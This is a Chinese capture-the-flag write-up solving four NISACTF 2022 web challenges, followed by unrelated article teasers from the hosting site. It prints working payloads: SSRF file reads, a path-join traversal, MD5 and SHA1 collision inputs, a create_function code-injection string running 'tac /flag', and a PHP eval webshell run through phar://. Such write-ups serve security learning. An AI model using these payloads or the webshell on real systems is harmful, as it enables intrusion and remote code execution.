【Web】NISACTF 2022 个人复现

news2024/12/24 20:47:18

目录

①easyssrf

②babyupload

③ level-up

④bingdundun~


明天就新生赛了,练套题保持下手感吧

(文章只选取了一部分)

①easyssrf

输入/flag

 

 输入file:///fl4g

访问/ha1x1ux1u.php

?file=php://filter/convert.base64-encode/resource=/flag

 base64解码得到flag

②babyupload

 

访问/source得到源码

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

简单审一下代码:上传的文件不能有后缀名,上传后生成一个uuid,并将uuid和文件名存入数据库中,并返回文件的uuid。再通过/file/uuid访问文件,通过查询数据库得到对应文件名,在文件名前拼接uploads/后读取该路径下上传的文件

os.path.join绝对路径拼接漏洞:

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

 直接访问回显路径即可

③ level-up

初始界面右键查看源码

提示查看/robots.txt 

 

访问/level_2_1s_h3re.php 

 md5碰撞

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 访问/Level___3.php

sha1碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

访问/level_level_4.php

 

?NI+SA+=txw4ever

+绕过_过滤

 

 访问/55_5_55.php

?a=\create_function&b=}system('tac /flag');// 

因为正则的关系,我们不能以字母数字开头,所以我们可以用\符号开头,它不会影响函数的运行

而转化为create_function创建的函数就会变成

<?php
function lambda_1() {
}system('tac /flag');
//}

④bingdundun~

 

只能上传图片/压缩包,同时url里发现任意文件读取

写马zip.php,压缩文件为zip.zip

<?php
phpinfo();
@eval ($_POST['teat']);
?>

 

 上传回显文件位置

 

 (该url中有.php,推测?bingdundun=xxx会自动补全.php)

用phar伪协议访问压缩文件

?bingdundun=phar://6c6a0f91b29850cd36dac63bf289a065.zip/zip

 rce即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1275630.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PyQt基础_012_对话框类控件QInputDialog

基本操作 import sys from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import *class InputdialogDemo(QWidget):def __init__(self, parentNone):super(InputdialogDemo, self).__init__(parent)layout QFormLayout()self.btn1 QPushButton(&qu…

YOLOv8改进 | 2023 | AKConv轻量级架构下的高效检测(可变核卷积)

一、本文介绍 本文给大家带来的改进内容是AKConv&#xff08;可变核卷积&#xff09;是一种创新的卷积神经网络操作&#xff0c;它旨在解决标准卷积操作中的固有缺陷&#xff08;采样形状是固定的&#xff09;&#xff0c;AKConv的核心思想在于它为卷积核提供了任意数量的参数…

Android超简单实现-即时更新Toast(可直接复制)

效果 实现 第一步、封装个工具类ToastUtil.class&#xff08;可直接复制拿走&#xff09; public class ToastUtil {private static Toast mToast null; // toast对象&#xff0c;用于判断是否第一次使用/*** 即时更新Toast* param content content* param message 消息内容…

FLASK博客系列4——再谈路由

最近好像拖更有点久了。抱歉抱歉~ 今天我们继续来聊聊路由&#xff08;其实就是我上次偷懒剩下一点没讲完&#xff09;。 通过上次的文章&#xff0c;我们基本了解了Flask中的路由&#xff0c;是不是比较简单呢&#xff1f;别急&#xff0c;今天来点猛料。 一、路由之HTTP方法绑…

在CentOS系统下的Tomcat8.5或9安装SSL证书

您可以在CentOS系统下的Tomcat服务器安装SSL证书&#xff0c;实现通过HTTPS安全访问Web服务。本文介绍如何CentOS系统下Tomcat 8.5或9安装SSL证书。 环境准备 操作系统&#xff1a;CentOS 7.6 64位 Web服务器&#xff1a;Tomcat 8.5或9 说明 Tomcat服务器需要提前安装JDK环…

C++基础 -25- 动态多态

静态多态在程序编译的时候&#xff0c;确定将要执行的状态。 动态多态在程序运行的时候&#xff0c;才能确定执行的状态。 下面举例实现动态多态 work函数接口通过传参不同做不同的工作 #include "iostream"using namespace std;class person {public:person(){}vi…

10个让UI设计更轻松的工具

UI设计软件对设计师来说非常重要。UI设计工具的使用是否直接影响到最终结果的质量&#xff0c;然后有人会问&#xff1a;UI界面设计使用什么软件&#xff1f;这里有一些UI设计师和那些对UI设计感兴趣的朋友列出了10个易于使用和免费的UI设计软件。 即时设计 即时设计是一款免…

《曾国藩传》:崇尚笨拙的人生哲学

哈喽啊&#xff0c;大家好&#xff0c;我是雷工&#xff01; 以前读书喜欢读小说&#xff0c;喜欢看《我从你的全世界路过》《云间有个小卖铺》这些轻松的小说&#xff0c;读起来很轻松。 随着年龄增长&#xff0c;阅历的增加开始喜欢读历史&#xff0c;读人物传记&#xff0c;…

【涂鸦T2-U】2、添加光感bh1750

文章目录 前言一、基础介绍二、电路图2.1 电路图12.2 电路图2——实际采用 三、代码四、编译五、刷机六、测试结果小结 前言 本章介绍如何在涂鸦T2-U开发板上添加光感bh1750驱动并实现定时读取数据。 一、基础介绍 BH1750( GY-302 )光照传感器 这篇文章有bh1750的基础介绍。…

关于 ls -s 输出文件大小的单位问题的讨论

自己看书正好看到这里&#xff0c;正纳闷呢&#xff0c;上网查了下&#xff0c;发现不是我自己在为这个问题感到困惑。 有个大哥提出一个问题&#xff1a; 问题标题&#xff1a; ls -s的单位到底是什么&#xff1f; man ls -s, --size print the alloca…

库位角点检测之Centernet/CornerNet算法

1.CornerNet CornerNet 那么我们从bounding box左上角(top-left corner)看物体。视线横着的话&#xff0c;物体就在视线的下面&#xff08;那么视线所在位置为the topmost boundary of an object&#xff09;。视线竖着的话&#xff0c;物体就在视线的右边&#xff0c;那么视线…

CCFCSP试题编号:202009-2试题名称:风险人群筛查

#include <iostream> using namespace std;//判断是否在区域 bool isIn(int xl, int yd, int xr, int yu, int x, int y) {if ((x > xl && x < xr) && (y > yd && y < yu)){return true;}return false; }struct position {int a, b;…

【linux】日志有哪些

Linux系统日志主要有以下几种类型&#xff1a; 内核及系统日志&#xff1a;这种日志数据由系统服务rsyslog统一管理&#xff0c;根据其主配置文件/etc/rsyslog.conf中设置决定内核消息及各种系统程序消息记录到什么位置。/var/log/message&#xff1a;该日志文件存放了内核消息…

RDD2022提交官网得到F1-Score的步骤【自己摸索的,不保证对和全面,返回结果是F1-Score: India=nan】

文章目录 提交地址RDD2022提交的步骤1. 进入到官网2. 注册账号&登陆账号3. 提交界面4. 代码&#xff0c;制作符合要求的txt5. 提交后返回的结果 提交地址 RDD2022提交地址&#xff1a;https://crddc2022.sekilab.global/submissions/ RDD2020提交地址&#xff1a;https://…

nnDetection简明安装和训练流程(Windows环境)

安装 首先&#xff0c;官方不建议Windows安装&#xff0c;推荐Linux Docker 我的环境&#xff1a; ● 操作系统平台&#xff1a; Windows 10 ● Python&#xff1a; 3.8 ● Torch/TorchVision&#xff1a; 1.10.1cu102/ 0.11.1 ● GPU&#xff1a; Nvidia RTX 2080 Ti 11G…

【BEV感知 LSS方案】Lift-Splat-Shoot(LSS)

前言 LSS全称是Lift-Splat-Shoot&#xff0c;它先从车辆周围的多个摄像头拍摄到的图像进行特征提取&#xff0c;在特征图中估计出每个点的深度&#xff0c;然后把这些点“提升”到3D空间中。 接着&#xff0c;这些3D信息被放置到一个网格上&#xff0c;最后将这些信息“拍扁”…

转向更卷的奶茶 库迪这是要在咖啡上认怂?

卖咖啡刚满一年&#xff0c;陆正耀就带着名为“茶猫”的奶茶项目再度登场。 根据多位网友的爆料&#xff0c;茶猫采取和库迪咖啡一样的联营商模式&#xff0c;且有低价补贴策略&#xff0c;主打低价茶饮市场&#xff0c;全场统一定价6.9元。 熟悉的加盟模式&#xff0c;熟悉的…

国际上有哪些比较出名的VOIP供应商

1. Skype&#xff08;微软&#xff09;&#xff1a;企业发展历程&#xff1a;Skype 于2003年成立&#xff0c;最初由瑞典和丹麦的几位开发者创建。2005年被eBay收购&#xff0c;之后于2011年被微软收购。微软将 Skype 合并到其产品生态系统&#xff0c;并继续开发和改进该平…

性能测试JVM优化实战

&#xff08;1&#xff09;、实现高并发需要考虑的问题&#xff1a;12 条金字规则 实现高并发需要考虑&#xff1a; &#xff08;1&#xff09;系统的架构设计&#xff0c;如何在架构层面减少不必要的处理&#xff08;网络请求&#xff0c;数据库操作等&#xff09;--- 亿级流…

推荐一款优秀的json在线格式化校验工具

www.bjson.chat 这个工具是目前见过最好用的JSON工具&#xff0c; 页面简单&#xff0c;支持text&#xff0c;tree两种显示格式&#xff0c;关键词高亮显示支持亮白和暗黑两种风格最主要的是如果要格式化很长的json的话&#xff0c;这个工具还可以全屏显示&#xff0c;简直不…